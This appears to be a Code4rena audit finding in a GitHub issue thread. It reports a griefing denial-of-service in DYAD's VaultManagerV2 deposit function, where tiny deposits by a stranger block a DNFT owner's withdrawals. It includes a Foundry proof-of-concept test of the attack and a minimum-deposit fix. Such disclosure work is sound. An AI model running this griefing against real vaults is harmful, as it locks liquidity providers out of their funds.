c4-bot-5 commented 6 months ago

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L119

Vulnerability details

Impact

As anyone can deposit funds into a DNFT, a malicious user can deposit a small amount and set the idToBlockOfLastDeposit to the most recent block, disabling withdrawals from a certain DNFT ID. This can be done continuously (in every block, which is quite gas costly but still doable in a specific amount of time) or can be done via frontrunning and only when the owner of the DNFT intends to withdraw. Causing Liquidity Providers difficulties in withdrawing their deposits.

Proof of Concept## Proof of Concept

Add the following test to test/frol/v2.t.sol. Exploit Steps:

Liquidity Provider (LP) makes a DNFT and deposits some WETH into it.
LP attempts to withdraw after some time.
Griefer frontruns it or just continuously deposits to stop the withdraw.
LP is unable to withdraw.

function testGriefingAttackBlocksWithdraws() public {
        //0. set vars:
        uint256 AMOUNT_TO_DEPOSIT = 10 ether;
        uint256 GRIEFING_AMOUNT_TO_DEPOSIT = 0.0000001 ether;
        address VAULTMANAGER_LICENSER = 0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85;

        //1. deal prank address some eth and mint weth:
        vm.deal(lp, AMOUNT_TO_DEPOSIT + 1 ether); // +1 for mint dnft costs
        vm.startPrank(lp);
        WETH(payable(MAINNET_WETH)).deposit{value: AMOUNT_TO_DEPOSIT}();
        uint256 balanceLP = WETH(payable(MAINNET_WETH)).balanceOf(lp);
        assertEq(balanceLP, AMOUNT_TO_DEPOSIT);
        //1.a. do the same for greifer account
        vm.deal(grief, AMOUNT_TO_DEPOSIT);
        vm.startPrank(grief);
        WETH(payable(MAINNET_WETH)).deposit{value: AMOUNT_TO_DEPOSIT}();
        uint256 balanceGrief = WETH(payable(MAINNET_WETH)).balanceOf(grief);
        assertEq(balanceGrief, AMOUNT_TO_DEPOSIT);
        vm.stopPrank();
        //2. Mint a Dnft for the user and add vault to it:
        vm.startPrank(lp);
        uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(lp);
        assertEq(DNft(MAINNET_DNFT).balanceOf(lp), 1);
        contracts.vaultManager.add(id, address(contracts.ethVault));
        vm.stopPrank();
        //3. add VaultV2 to vaultmanager licenser:
        vm.prank(Licenser(VAULTMANAGER_LICENSER).owner());
        Licenser(VAULTMANAGER_LICENSER).add(address(contracts.vaultManager));
        //4. deposit Weth to vault:
        vm.startPrank(lp);
        WETH(payable(MAINNET_WETH)).approve(
            address(contracts.vaultManager),
            10 ether
        );
        contracts.vaultManager.deposit(
            id,
            address(contracts.ethVault),
            10 ether
        );
        vm.stopPrank();
        //5. let some time pass and try a withdraw
        vm.roll(1);
        vm.warp(1);
        //5.a. A malicous user deposits to stop the withdraw with a small deposit, this can be done continuously here we just did it one time
        vm.startPrank(grief);
        WETH(payable(MAINNET_WETH)).approve(
            address(contracts.vaultManager),
            GRIEFING_AMOUNT_TO_DEPOSIT
        );
        contracts.vaultManager.deposit(
            id,
            address(contracts.ethVault),
            GRIEFING_AMOUNT_TO_DEPOSIT
        );
        vm.stopPrank();
        //5.b lp tries to withdraw but is denied
        vm.prank(lp);
        vm.expectRevert(DepositedInSameBlock.selector); // error DepositedInSameBlock();

        contracts.vaultManager.withdraw(
            id,
            address(contracts.ethVault),
            10 ether,
            lp
        );
    }

Tools Used

Manual Review
Foundry

Recommended Mitigation Steps

To fix this issue, you can either completely stop other users from depositing into a DNFT, or if that's not possible or changes the protocol design, set a minimum deposit (e.g., 0.1 wETH). Here is a simple example in which I added a min deposit (note that it only works for weth and not other tokens, you should probably set min amount based on vault asset type)

.
.
.
+   error DepositIsLowerThanMin();
.
.
.
    function deposit(
            uint256 id,
            address vault,
            uint256 amount
        ) external isValidDNft(id) {
+           if (amount <= 0.1 ether) {
+               revert DepositIsLowerThanMin();
+           }
            idToBlockOfLastDeposit[id] = block.number;
            Vault _vault = Vault(vault);
            _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
            _vault.deposit(id, amount);
        }

Assessed type

DoS

c4-pre-sort commented 6 months ago

JustDravee marked the issue as duplicate of #489

c4-pre-sort commented 6 months ago

JustDravee marked the issue as sufficient quality report